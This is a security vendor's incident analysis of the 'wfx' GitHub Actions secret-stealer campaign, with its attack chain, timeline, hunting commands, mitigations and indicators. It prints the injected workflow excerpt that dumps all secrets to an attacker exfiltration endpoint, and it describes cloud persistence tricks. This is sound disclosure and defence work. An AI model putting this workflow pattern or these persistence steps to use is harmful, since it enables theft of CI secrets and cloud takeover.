By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog

Hijacked GitHub Accounts Push “wfx” CI Secret Stealer to 60,000+ Repositories

Are you impacted by the latest Github Action secret stealer? Learn how the attack works, what it steals, and how you can protect yourself using Endor Labs platform.

Written by
Sriram Subramanian
Sriram Subramanian
Henrik Plate
Henrik Plate
Published on
November 12, 2026
Updated on
November 12, 2026

Executive summary

Since 10 November 2026, an attacker has used stolen GitHub credentials to push a CI secret stealer, which calls itself “wfx”, into tens of thousands of repositories. The accounts belong to real developers whose accounts have been compromised in the past, supposedly through previous supply chain attacks. Every malicious change appears under a trusted name, and it reaches personal projects as well as company repositories where those developers might have write access.

The stealer runs inside GitHub Actions, where build pipelines keep their most sensitive secrets. It collects repository secrets, cloud credentials, package-registry tokens and AI-provider API keys. The malicious change is reverted after it lands, and the workflow run and its logs are deleted, so affected teams may see nothing unusual. We call this a sandwich commit.

Large open-source projects are among the victims. On 11 November the WebdriverIO bot account was used to push a malicious install hook into the webdriverio repository, past its branch protection.

Why it matters: at least 1,806 repositories have already had credentials stolen, and at least 50 of the hijacked accounts publish packages to npm, Go, Packagist, PyPI or crates. Stolen publishing tokens can be used for a follow-on wave of malicious package releases. Any organisation whose developers have write access to an affected repository should treat this as active and urgent.

Change log

  • 12 Nov 2026, update: added the victim-reported access vector (leaked GitHub CLI token), the webdriverio case, sandwich-commit timing and Endor Labs coverage.
  • 12 Nov 2026: initial publication, based on public reporting and the indicators released so far.

Impact

Severity

Critical. Full secret exfiltration from CI, cloud privilege escalation and persistent backdoors.

Exploitation status

Observed in the wild. Ongoing since 10 Nov 2026, with confirmed credential theft in thousands of repositories.

Ecosystems

Packagist and Go have confirmed malicious versions. npm, PyPI and crates are exposed through hijacked publisher accounts.

Potential victims

Developers with stolen tokens, every repository they can write to, CI/CD pipelines, the cloud accounts those pipelines deploy to, and downstream package users.

Business risk in plain terms

A build pipeline holds the keys to production. If the stealer ran in one of your repositories, assume an outsider now holds every password and cloud key that pipeline could use. Depending on what the pipeline does, that can include deploying code, reading customer data or publishing new versions of your software. The attacker also tries to create back doors that keep working after keys are rotated, so rotating secrets alone is not a full recovery.

Technical analysis

Affected packages

Most of the activity happens in GitHub repositories rather than registries. Two published packages are confirmed to contain the payload so far:

‍

Ecosystem Package Version(s) Notes
Packagist digitalelvis/neuronai-studio 3.14.3 Treat any machine that installed or opened this version as compromised.
Go github.com/onuragtas/docker-env v1.0.278, v1.0.280 Payload only in a workflow file. Consumers are likely unaffected, but remove these versions anyway.

‍

Infection vector: account takeover

There is no typosquat or dependency confusion here. The attacker logs in as real developers using stolen credentials and tokens, which gives them the same write access the developer has. 10,431 of the malicious pull requests landed in repositories the account does not own, reached through collaborator or organisation access.

How the credentials were stolen has not been confirmed for the campaign as a whole. One victim, writing on their own affected repository, reports that the attacker used a leaked GitHub CLI (gh) OAuth token. That fits the pattern: gh tokens are long-lived, carry the user's full repository access, and sit in a plain config file on developer machines.

Attack chain

  1. Account takeover. Stolen GitHub credentials for 4,837 developers.
  2. Probe pull request. A harmless-looking PR titled “docs: dependency audit notes” from a wfx-docs branch. It tests write access and triggers PR workflows.
  3. Payload pushed, one of three variants:
  • Workflow injection (commit “ci: refresh build cache”): adds about 1,500 lines to an existing workflow file.
  • Install hook (commit “chore: add ci helper”): adds .ci-xxxxxx.sh and a postinstall hook in package.json, so it runs on any npm install.
  • Throwaway branch (commit “chore: add dependency audit workflow”): adds .github/workflows/build-audit-xxxxxx.yml on a chore/xxxxxxxx branch.
  1. Execution. GitHub Actions runs the stealer: secrets, tokens and cloud credentials are collected, and cloud access is escalated and backdoored.
  2. Exfiltration. A gzipped bundle is sent by HTTP POST to the attacker's server on port 8080 (/exfil).
  3. Cover tracks. “ci: restore” or “ci: cleanup” reverts the change within seconds, and the workflow run and its logs are deleted.

Figure 1. Steps 3 to 6 take about one minute per repository. The probe pull request usually stays open (92% still were at the time of reporting), while the payload commits are reverted.

The sandwich commit

The probe pull request is harmless: it adds a short markdown file from a branch in the same repository. Its job is to confirm write access and, as one victim notes, to trigger pull_request workflows. The theft happens on the default branch, wrapped between two ordinary-looking commits:

‍

‍

Figure 2. Timing observed in a public victim repository on 11 November. Because the payload sits on the default branch for only seconds, a scan of the current code finds nothing. The evidence is in commit history and in gaps between workflow run numbers.

What the stealer does

All three variants deliver the same shell script of about 1,500 lines. It is not obfuscated. It is heavily commented, labels itself “wfx” in logs and variable names, and switches each capability on or off with configuration flags at the top. It works in four stages.

Stage 1: Collect. Take everything readable on the runner.

  • All Actions secrets and variables, GITHUB_TOKEN, OIDC and runtime tokens
  • Credential files for AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, SSH, GPG, Vault and Terraform
  • AI-tool keys: OpenAI, Anthropic, Gemini, Hugging Face, Cursor, Copilot and more
  • Shell histories, .env, .pem and kubeconfig files
  • Process memory of the Actions runner

Stage 2: Escalate. Turn CI identity into cloud access.

  • Mints GitHub OIDC tokens and exchanges them for AWS, GCP and Azure sessions
  • Chains into other AWS roles and creates long-lived IAM access keys
  • Impersonates GCP service accounts
  • Replays cached Azure CLI refresh tokens for Graph, ARM and Key Vault
  • Tries the tokens against Vault and Kubernetes

Stage 3: Persist. Keep access after the run ends.

  • Rewrites an AWS role trust policy to "AWS": "*", so any AWS account can assume it
  • Adds Azure federated credentials named wfx-ci-… pointing at the repository
  • Posts fake “success” status checks so branch protection lets changes through

Stage 4: Exfiltrate. Ship it out, then disappear.

  • Packs the loot into a gzipped tarball
  • Sends it by HTTP POST to the attacker's server on port 8080
  • Alternative channels exist in the code (cache, artifacts, step summary), switched off in this campaign

The injected workflow

In the workflow-injection variant, two steps are added to an existing job. The first exposes the runner's internal tokens to later steps. The second runs the stealer, receiving every repository secret and variable as JSON through environment variables:

- name: Pass runtime
  uses: actions/github-script@v7
- name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_CTOKEN: "b42d70a7aab9140ca19e8249"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"
  run: |
    # ~1,500 lines: collect, escalate, persist, exfiltrate

The step names look like routine build maintenance. The giveaway is toJSON(secrets): legitimate workflows reference individual secrets by name and almost never dump all of them into one variable.

Case study: webdriverio

On 11 November at 12:11 UTC, two “chore: add ci helper” commits were pushed to webdriverio/webdriverio under the WebdriverIO Bot account, and they bypassed branch protection. They added .ci-a4oytg.sh (1,493 lines) and changed the root package.json so that postinstall ran the script silently on every pnpm install. The script sent secrets and cloud credentials to 194.150.166[.]244:8080/exfil.

A contributor flagged the commits within about 20 minutes. They asked maintainers to cancel the in-progress test and release runs, rotate the bot token and npm publish tokens, and check for npm publishes after 12:11 UTC. The case shows two things. Bot and automation accounts with bypass rights are prime targets. And the install-hook variant reaches far beyond CI, to anyone who installs from the repository while the hook is in place.

Command and control

In this campaign the payload uses a single channel: HTTP POST to 194.150.166[.]244:8080/exfil or 18.143.168[.]96:8080/exfil. The script can also hide stolen data in the Actions cache, in workflow artifacts (wfx-loot-<run id>) or in the job summary (between <!--WFX-BEGIN--> markers). Those channels only switch on when a “private repository” flag is set, and it was off in the deployed configuration. Their presence suggests the tool is also built for private repositories.

Anti-forensics

Each repository sees a revert commit (ci: restore or ci: cleanup) within seconds, and the workflow run and its logs are deleted. Absence of wfx-loot artifacts or wfx- cache entries does not prove nothing was taken. The most reliable sign is a missing run number: GitHub numbers runs in sequence, so a deleted run leaves a gap right after the attacker's commit.

Timeline

When (UTC) Event
10 Nov 2026, 12:45 First probe pull requests. Hijacked accounts begin opening “docs: dependency audit notes” PRs, followed by payload pushes.
10 to 11 Nov 2026 Mass deployment. 61,764 repositories probed; 1,806+ have credentials exfiltrated.
11 Nov 2026, 06:33 First victim disclosure. A developer reports that a leaked GitHub CLI OAuth token was used to open the probe PR and poison their CI.
11 Nov 2026, 12:11 webdriverio hit. The WebdriverIO Bot account pushes the install-hook variant past branch protection. A revert PR follows at 12:30.
12 Nov 2026 Public disclosure. Aikido Security publishes its findings and indicators. No takedown has been announced.

‍

Mitigations

If the payload ran in your repository: assume every secret, token and cloud role available to that repository's workflows is compromised. Rotating keys is necessary but not enough: also remove the backdoors listed in steps 3 and 4 below.

Immediate steps

  1. Find exposure. Search every repository your developers can write to for the branch names, PR title and commit messages in the IOC list, from 10 Nov onward. If the probe PR exists, the account is compromised even if the payload did not run.
  2. Lock the accounts. Revoke the affected developers' sessions, personal access tokens, SSH keys and OAuth grants, and require a password reset with phishing-resistant MFA.
  3. Rotate everything the workflows could reach. That means repository and organisation secrets, cloud keys, registry tokens (npm, PyPI, Packagist, crates), and AI-provider keys.
  4. Remove cloud persistence. In AWS, look for role trust policies with "AWS": "*" and IAM access keys created since 10 Nov. In Azure, look for federated identity credentials named wfx-ci-*.
  5. Clean up GitHub. Close the probe PRs and delete wfx-docs, chore/* and ci-check-* branches. Check that the attacker's reverts actually removed the payload, then review any status checks posted on their commits.
  6. Remove affected package versions. Remove digitalelvis/neuronai-studio 3.14.3 and github.com/onuragtas/docker-env v1.0.278 and v1.0.280, and treat machines that installed the Packagist version as compromised.

Detection

Hunting in GitHub and local clones:

# Probe PRs in your organisation
gh search prs "docs: dependency audit notes" --owner <org> --created ">=2026-11-10"
 
# Attacker commits in a clone (all branches)
git log --all --since=2026-11-10 --format='%h %ad %an %s' \
  | grep -E 'ci: refresh build cache|chore: add ci helper|chore: add dependency audit workflow|ci: restore|ci: cleanup'
 
# Leftover attacker branches
git ls-remote origin 'refs/heads/wfx-docs' 'refs/heads/chore/*' 'refs/heads/ci-check-*'
 
# Install hooks that run a hidden CI helper
grep -rn --include=package.json -E '"postinstall"\s*:\s*".*\.ci-[a-z0-9]{6}\.sh' .

In cloud audit logs, review activity since 10 Nov for CreateAccessKey, UpdateAssumeRolePolicy and AssumeRoleWithWebIdentity from GitHub OIDC (AWS CloudTrail), and for federated-credential additions to app registrations (Microsoft Entra audit logs). In GitHub, look for gaps in workflow run numbers next to the attacker's commits.

Long-term hardening

  • Protect workflow files. Require code-owner review for .github/workflows/** and block direct pushes to default branches, including for administrators.
  • Pin required checks to their source. Use repository rulesets that expect each required status check from a specific GitHub App, so a check posted by a workflow token can't stand in for it.
  • Narrow the blast radius. Set the default GITHUB_TOKEN to read-only. Scope cloud OIDC trust to specific repositories, branches and environments. Move deploy secrets into protected environments with reviewers.
  • Shorten credential lifetimes. Prefer fine-grained, expiring tokens and SSO-enforced organisations over classic personal access tokens.
  • Treat install scripts as code execution. Run npm ci --ignore-scripts in CI where possible, and alert on new lifecycle hooks in package.json.
  • Watch egress from runners. Unexpected outbound traffic from a build, such as a raw IP on port 8080, is a high-signal alert.
  • Know what you ship. Keep an SBOM, pin dependencies by version and hash, and scan registries and workflows continuously for malicious changes.

How Endor Labs helps

Endor Labs SCM posture policies check the repository and workflow settings that decide how far this attack gets. They narrow the blast radius before an account is compromised.

Attack step Endor Labs check Effect
Payload pushed straight to the default branch Branch protection that includes administrators; force pushes disabled Forces changes through a pull request. Review bypass lists too: the webdriverio push came from a bot allowed to bypass.
Workflow file changed without review CODEOWNERS approval required Workflow and package.json changes need an owner’s sign-off.
Workflow token used against the GitHub API Default workflow permissions A read-only GITHUB_TOKEN can’t post fake status checks or write to the repository.
All secrets dumped with toJSON(secrets) GitHub Actions policy “Secrets object detected in GitHub workflow file” Flags workflows that pass the whole secrets object, the exact pattern this payload uses.
Long-lived cloud keys stolen from CI Cloud authentication that does not use OIDC Moves pipelines to short-lived credentials, so stolen keys expire quickly.
Packages produced from compromised repos spread through registries Package Firewall Download of blocked packages is blocked

‍

Limits: these checks improve hygiene and reduce what an attacker can reach. They will not catch a sandwich commit after the revert, because the malicious workflow no longer exists on the branch. Pair them with the hunting steps above: commit-history searches for the indicators, and checks for gaps in workflow run numbers.

Outlook and next steps

CI/CD is now a primary target. Build pipelines combine broad secrets, automatic code execution and weak audit trails. Attackers increasingly target the pipeline and the accounts that control it rather than the code itself. Self-erasing payloads like this one make after-the-fact detection much harder.

What we are watching:

  • New package releases from maintainers whose accounts appear in this campaign, especially versions that add install hooks or workflow files.
  • Abuse of stolen registry tokens to publish malicious versions of legitimate packages.
  • Changes to the payload's configuration or infrastructure as the published indicators get blocked.

References

Acknowledgments

Thanks to Aikido Security for the original disclosure and indicators, and to the maintainers who disclosed their incidents publicly.

Indicators of compromise

Network indicators are defanged.

Type Indicator Context
ipv4:port 194.150.166[.]244:8080 Exfiltration endpoint (/exfil)
ipv4:port 18.143.168[.]96:8080 Exfiltration endpoint (/exfil)
sha256 89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf wfx stealer script
string b42d70a7aab9140ca19e8249 WF_CTOKEN value in injected workflows
package packagist:digitalelvis/neuronai-studio@3.14.3 Malicious version
package go:github.com/onuragtas/docker-env@v1.0.278 Payload in workflow file
package go:github.com/onuragtas/docker-env@v1.0.280 Payload in workflow file
git-branch wfx-docs Probe pull request branch
git-branch chore/[a-z0-9]{8} Throwaway payload branch
git-branch ci-check-[0-9]{4} Attacker branch (regex)
pr-title docs: dependency audit notes Probe pull request
commit-message ci: refresh build cache Workflow injection
commit-message chore: add ci helper Install-hook variant
commit-message chore: add dependency audit workflow Throwaway-branch variant
commit-message ci: restore Attacker revert
commit-message ci: cleanup Attacker revert
file-path .ci-[a-z0-9]{6}.sh Hidden helper script run by postinstall (regex)
file-path .github/workflows/build-audit-[a-z0-9]{6}.yml Throwaway workflow (regex)
artifact-name wfx-loot-<run id> Exfiltration artifact (disabled in this campaign)
cache-key-prefix wfx- Exfiltration cache entry (disabled in this campaign)
marker <!--WFX-BEGIN--> Step-summary exfiltration marker
azure-fic-name wfx-ci-* Persistence: federated identity credential
aws-trust-policy "Principal": {"AWS": "*"} Persistence: role trust policy rewrite